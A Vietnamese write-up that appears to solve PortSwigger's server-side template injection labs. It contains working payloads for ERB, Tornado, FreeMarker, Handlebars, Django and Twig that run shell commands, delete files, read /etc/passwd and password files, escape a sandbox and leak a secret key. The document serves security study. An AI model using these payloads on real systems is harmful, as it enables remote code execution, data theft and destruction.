---
# System prepended metadata

title: ServerSideTemplateInjection_Vulnerable

---

@iamproz2911 
Bài viết gồm 2 phần là:
+Lý thuyết 
+Khai thác các bài Lab của Postswiger về lỗ hổng này.**
### **1. Lý thuyết**
Lỗ hổng SSTI (Server-Side Template Injection) xảy ra khi ứng dụng web cho phép người dùng nhập dữ liệu mà không được kiểm tra hoặc làm sạch, sau đó sử dụng dữ liệu đó trong các mẫu (template) phía máy chủ. Kẻ tấn công có thể chèn mã độc vào mẫu, dẫn đến việc thực thi mã không mong muốn trên máy chủ.
Các điểm chính:

    Nguyên nhân: Thiếu kiểm soát đầu vào khi sử dụng các template engine.
    Hệ quả: Có thể dẫn đến rò rỉ dữ liệu, tấn công từ chối dịch vụ (DoS), hoặc thậm chí kiểm soát hoàn toàn máy chủ.
    Ngăn chặn: Kiểm tra và làm sạch đầu vào, sử dụng các biện pháp bảo mật trong template engine.
Các ngôn ngữ và template có khả năng dính lỗ hổng SSTI:

    Python
    JavaScript
    PHP
    Ruby
    Java

Template engines:

    Jinja2 (Python)
    Twig (PHP)
    Handlebars (JavaScript)
    ERB (Ruby)
    FreeMarker (Java)

### **2. Lab Server-side template injection (SSTI) in Postswigger**
```
Các bài lab về SSTI bước quan trọng nhất là phải identify ra được web đó dùng template nào, sau đó dùng payload và exploit
```
#### **Lab1**:Basic server-side template injection
##### Mô tả:  
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.
To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory. 
##### Exploit:  
B1: Truy cập trang web và chọn các sản phẩm bất kì để quan sát 
![image](https://hackmd.io/_uploads/H1NKuvjhR.png)
![image](https://hackmd.io/_uploads/rJQcODshA.png)
Gần như là không có gì để exploit và cho thấy dính lỗ hổng SSTI cả
Tiếp tục chọn các sản phẩm khác 
Ở sản phẩm đầu tiên, nó hiện thông báo hết hàng 
![image](https://hackmd.io/_uploads/Byrp_vshA.png)
B2: Quan sát request 
![image](https://hackmd.io/_uploads/HkNyFvsn0.png) https://0a6000d1043ce69a81e639a400460089.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock
=>thay đổi tham số truy vấn (query parameter) message
![image](https://hackmd.io/_uploads/Hy-IFwi20.png)
Nhận thấy web thay đổi theo
B3: Chèn payload để nhận biết template sử dụng
Web đã cho biết sử dụng ERB template của ruby trong bài
Tài liệu về [ERB](https://www.puppet.com/docs/puppet/5.5/lang_template_erb)
Nó có dạng thế này 
```
<%# Non-printing tag ↓ -%>
<% if @keys_enable -%>
<%# Expression-printing tag ↓ -%>
keys <%= @keys_file %>
<% unless @keys_trusted.empty? -%>
trustedkey <%= @keys_trusted.join(' ') %>
<% end -%>
<% if @keys_requestkey != '' -%>
requestkey <%= @keys_requestkey %>
<% end -%>
<% if @keys_controlkey != '' -%>
controlkey <%= @keys_controlkey %>
<% end -%>

<% end -%>
```
Rút gọn lại thì <%=payload%>
Thử với <%=4*4%>
![image](https://hackmd.io/_uploads/rJ5z5ws2C.png)
Kết quả cho thấy web dính lỗ hổng SSTI khi đã thực thi luôn payload rồi render ra.
B4: Gửi payload xóa file morale.txt như yêu cầu 
```
<%=system("rm+/home/carlos/morale.txt")+%25> 
```
Trả về true và hoàn thành lab
![image](https://hackmd.io/_uploads/B1P5qPi3C.png)

#### **Lab2**:Basic server-side template injection (code context)
##### Mô tả:  
This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter 
Hint:Take a closer look at the "preferred name" functionality. 
##### Exploit:
B1: Đăng nhập vào tài khoản đã cho và kiểm tra request
![image](https://hackmd.io/_uploads/H10MsvsnR.png)
Web có chức năng tùy chọn tên hiển thị
![image](https://hackmd.io/_uploads/SkZEovs2C.png)
Quan sát thấy 
blog-post-author-display=user.nickname
Đây là một tham số với tên là blog-post-author-display và giá trị là user.nickname.
B2: Đọc tài liệu và kiểm tra lỗi
Web cho biết sử dụng [Tonado](https://www.tornadoweb.org/en/stable/template.html) Template để xây dựng web.
Có dạng kiểu như thế này 
```
### Python code
def add(x, y):
   return x + y
template.execute(add=add)

### The template
{{ add(1, 2) }}
```
Dùng payload blog-post-author-display=user.nickname}}{{7*7}}
thì web hiển thị tên là 49 vậy dính lỗi SSTI
Và đặc biệt nếu sử dụng các hàm liên quan thì phải import thư viện
```
{% import *module* %}

    Same as the python import statement.

```
B3: Xây dựng payload exploit 
Yêu cầu xóa file morale.txt
payload sẽ có dạng 
```
{% import os %}
{{os.system('rm /home/carlos/morale.txt')
```
Và nhớ sử dụng URL encoding
```
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt'
```
![image](https://hackmd.io/_uploads/BJo03Dj2C.png)
B4: Chọn sản phẩm bất kì và comment để tên được hiển thị lên
![image](https://hackmd.io/_uploads/HyPE6Po2A.png)
Web render template và payload thực thi => Xóa file thành công 
![image](https://hackmd.io/_uploads/B1jU6PonR.png)

#### **Lab3**:Server-side template injection using documentation
##### Mô tả:  
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.
You can log in to your own account using the following credentials: 
content-manager:C0nt3ntM4n4g3r
##### Exploit:
B1: Đăng nhập vào tài khoản đã để có quyền edit template
![image](https://hackmd.io/_uploads/S1v0pPsn0.png)
B2: Sử dụng payload để nhận diện xem web sử dụng template nào:
${product.stock} left of ${product.name} at ${product.price}
Nó có dạng ${}
Thử một biểu thức riêng để làm sai template
${product.pricedddd}
![image](https://hackmd.io/_uploads/HyADAwj30.png)
=> Template sử dụng ở đây là Freemaker
B3: Sử dụng payload để exploit
Đọc tài liệu và thì payload dạng như thế này
```
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("rm /home/carlos/morale.txt")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
```
B4: Gửi payload và hoàn thành lab 
![image](https://hackmd.io/_uploads/Hk5gJ_o2R.png)

#### **Lab4**:Server-side template injection in an unknown language with a documented exploit
##### Mô tả: 
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos's home directory. 
##### Exploit:
B1: Xem sản phẩm bất kì và quan sát
Như lab1 thì không có gì phát hiện có thể tấn công SSTI ở đa số các sản phẩm
Tuy nhiên khi bấm sản phẩm thứ nhất thì hiển thị thông báo hết hàng
![image](https://hackmd.io/_uploads/HJaPy_s3R.png)
B2: Nhận diện template web sử dụng
Sử dụng payload 
```
${{<%[%'"}}%\.
```
Trong hầu hết các trường hợp, payload đa ngôn ngữ này sẽ gây ra lỗi khi có lỗ hổng SSTI.
![image](https://hackmd.io/_uploads/HkEnyOihA.png)
=> Quan sát thấy web sử dụng Handlebars JS làm template 
B3: Đọc tài liệu và viết payload
Payload có dạng thế này 
```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```
Tuy nhiên rõ ràng phải URLencoding đi và sửa lại lệnh exec 
![image](https://hackmd.io/_uploads/HJaXeus30.png)
B4: Gửi payload và hoàn thành 
Website render template và payload được thực thi xóa file morale.txt
![image](https://hackmd.io/_uploads/SkrUxuon0.png)

#### **Lab5**: Server-side template injection with information disclosure via user-supplied objects
##### Mô tả:  
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.
To solve the lab, steal and submit the framework's secret key.
You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
##### Exploit:
B1: Đăng nhập để lấy quyền edit template 
![image](https://hackmd.io/_uploads/HkVJbdihC.png)
Sử dụng payload đa ngôn ngữ `${{<%[%'"}}%\.`
Website dính lỗi SSTI 
![image](https://hackmd.io/_uploads/SkTbW_j3R.png)
=> Web sử dụng template django 
B2: Đọc tài liệu và xây dựng payload
![image](https://hackmd.io/_uploads/Syo4-_sh0.png)
Đề bài yêu cầu lấy SecretKey
Sử dụng 
Debug information leak
```
{% debug %}
```
=>Đầu ra sẽ chứa danh sách các đối tượng và thuộc tính mà ta có quyền truy cập từ trong mẫu này.
Đọc tài liệu về settings object in the [Django](https://docs.djangoproject.com/en/5.1/topics/settings/)
![image](https://hackmd.io/_uploads/rJ21fui30.png)
Vậy payload cần tìm để lấy ra Key là `{{settings.SECRET_KEY}}`
![image](https://hackmd.io/_uploads/BJiBM_sh0.png)
B3: Submit key và hoàn thành 
![image](https://hackmd.io/_uploads/HyKwfdi3A.png)
![image](https://hackmd.io/_uploads/HJEOfOo2C.png)

#### **Lab6**: Server-side template injection in a sandboxed environment
##### Mô tả: 
This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos's home directory. Then submit the contents of the file.
You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
##### Exploit:
B1: Đăng nhập để có quyền edit template 
![image](https://hackmd.io/_uploads/r106fds30.png)

B2: Đọc tài liệu và viết payload 
Web cho biết dùng Freemarker template có sử dụng sandboxed để ngăn chặn, có tài liêụ cho payload để thoát sandboxed nhưg khi dùng không thành công vì khác phiên bản.
![image](https://hackmd.io/_uploads/S1r6E_o2C.png)

Và yêu cầu là đọc file my_password.txt
![image](https://hackmd.io/_uploads/HyfvQuo2C.png)
Tài liệu cho thấy có payload để đọc file dựa trên ${object.getClass()}
Payload có dạng 
``` ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
B3: Gửi payload exploit
![image](https://hackmd.io/_uploads/ryGy4uo3R.png)
Kết quả hiển thị chuỗi Ascii dùng tool online để giải mã 
![image](https://hackmd.io/_uploads/r1tQEOi30.png)
B4: Submit đáp án và hoàn thành 
![image](https://hackmd.io/_uploads/BybHE_s2A.png)
![image](https://hackmd.io/_uploads/rkHBVOjhC.png)

#### **Lab7(Expert)**: Server-side template injection with a custom exploit
##### Mô tả:  
This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos's home directory.
You can log in to your own account using the following credentials: wiener:peter
Warning
> As with many high-severity vulnerabilities, experimenting with server-side template injection can be dangerous. If you're not careful when invoking methods, it is possible to damage your instance of the lab, which could make it unsolvable. If this happens, you will need to wait 20 minutes until your lab session resets.
##### Exploit:
B1: Đăng nhập vào tài khoản để sử dụng các chức năng khác 
Website có chức năng upload ảnh:
![image](https://hackmd.io/_uploads/S1gordinA.png)
Thử up 1 file không phải JPG để test lỗ hổng fileup :))
![image](https://hackmd.io/_uploads/Hy0nruj3C.png)
Kết quả trả về lỗi và thêm đường dẫn của folder chứa ảnh cũng như file code của chức năng đó.
Chức năng thứ 2 là chức năng chọn tên hiển thị 
![image](https://hackmd.io/_uploads/BkHl8uj3R.png)
B2: Quan sát request của 2 chức năng trên
![image](https://hackmd.io/_uploads/HkI8UOinR.png)
Chức năng tải ảnh không có gì lạ 
![image](https://hackmd.io/_uploads/r1AP8_jnA.png)
Chức năng đổi tên có request body tương tự với lab2
```
blog-post-author-display=user.first_name&csrf=oKjhP0OJ6akN6KynTHG4MkIABoCm9Qsq
```
Nếu sử dụng user.first_name để lấy thông tin như lab2 thì không được 
![image](https://hackmd.io/_uploads/rkAzvOi2A.png)
![image](https://hackmd.io/_uploads/H1MXw_i3C.png)
Trước đó ta đã thấy có phương thức user.setAvatar được leak ra khi tải nhầm ảnh không phải .jpg 
![image](https://hackmd.io/_uploads/SycOD_jhA.png)
=> Sử dụng phương thức này thay thế cho user.setName
B3: Thử payload và nhận định nơi chứa lỗ hổng
Gửi payload 
```
user.setAvatar('/etc/passwd')
```
![image](https://hackmd.io/_uploads/HJj6P_jnA.png)
Quan sát ảnh ở phần bình luận sản phẩm
![image](https://hackmd.io/_uploads/Bkrgdui2C.png)
Xảy ra lỗ hổng SSTI, và template dùng ở đây là twig của PHP
=> Thông báo lỗi cho biết ta cần cung cấp loại MIME hình ảnh làm đối số thứ hai
Nếu ảnh thì dạng: 
```
user.setAvatar('/etc/passwd','image/jpg')
```
Gửi payload và vào phần bình luận ở sản phẩm khác
![image](https://hackmd.io/_uploads/B10OOus3C.png)
=>Ảnh đã không còn ở dạng jpg mà đã thay đổi , tải ảnh về và đọc bằng notepad 
![image](https://hackmd.io/_uploads/Hyehd_j30.png)
Chính là nội dung của /etc/passwd
=>Vậy là web đã render template đổi avatar thành file passwd và tải ảnh về thì ta đọc file thành công.

B4: Tìm thêm các thông tin khác 
Suy cho cùng thì cũng chỉ có thể đọc file, yêu cầu của lab là xóa đi file /.ssh/id_rsa
=>Cần tìm thêm các method khác ngoài setAvatar
Tiến hành đọc source code cuả chức năng upload ảnh 
Payload có dạng:
```
user.setAvatar('/home/carlos/User.php','image/jpg')
```
Tiếp tục xem ở phần bình luận và tải file về để đọc source 
![image](https://hackmd.io/_uploads/Syukq_o30.png)
![image](https://hackmd.io/_uploads/SktxqdjnA.png)
Phân tích source code: 
```
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```
Ta thấy hàm check MIME Type
```
public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
```
Đây chính là lí do vì sao phải cần truyền đối số thứ 2 vào thì payload mới hoạt động (Không liên quan lắm :v)
Hàm quan trọng hơn là hàm: 
```
public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }
```
Phương thức gdprDelete() thực hiện các bước sau:

    Xóa avatar:
        Gọi readlink($this->avatarLink) để lấy đường dẫn file mà liên kết (symlink) trỏ đến và xóa nó bằng cách gọi rm().

    Xóa symlink:
        Gọi rm($this->avatarLink) để xóa chính liên kết symlink.

    Xóa thông tin người dùng:
        Gọi phương thức delete() để ghi một file disabled trong thư mục của người dùng, đánh dấu tài khoản người dùng bị vô hiệu hóa.
=> Vậy chỉ cần dùng phương thức này và cung cấp đường dẫn ảnh nào đó(Rộng hơn là file) thì ảnh hoặc file đó sẽ bị xóa đi vì phương thức gọi rm()
B5: Gửi payload và hoàn thành lab   
```
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
```
![image](https://hackmd.io/_uploads/ryyQj_s3A.png)
Payload này đặt địa chỉ '/home/carlos/.ssh/id_rsa' là trỏ tới linkAvatar hình đại diện của bạn, bây giờ gọi phương thức để xóa ảnh đại diện.
```
user.gdprDelete()
```
![image](https://hackmd.io/_uploads/SJ9XhOinA.png)
![image](https://hackmd.io/_uploads/HycVhus30.png)
#### **Identify SSTI:**

Sử dụng payload `${{<%[%'"}}%\.`
Nó gây ra lỗi SSTI với hầu hết các website sử dụng template.
Chi tiết: 
![image](https://hackmd.io/_uploads/rkuEKgyaR.png)

**Tài liệu**
[Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md)
[Trick](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)

> Bài viết có mục đích nghiên cứu lỗ hổng và học tập ôn thi chứng chỉ của Postswiger!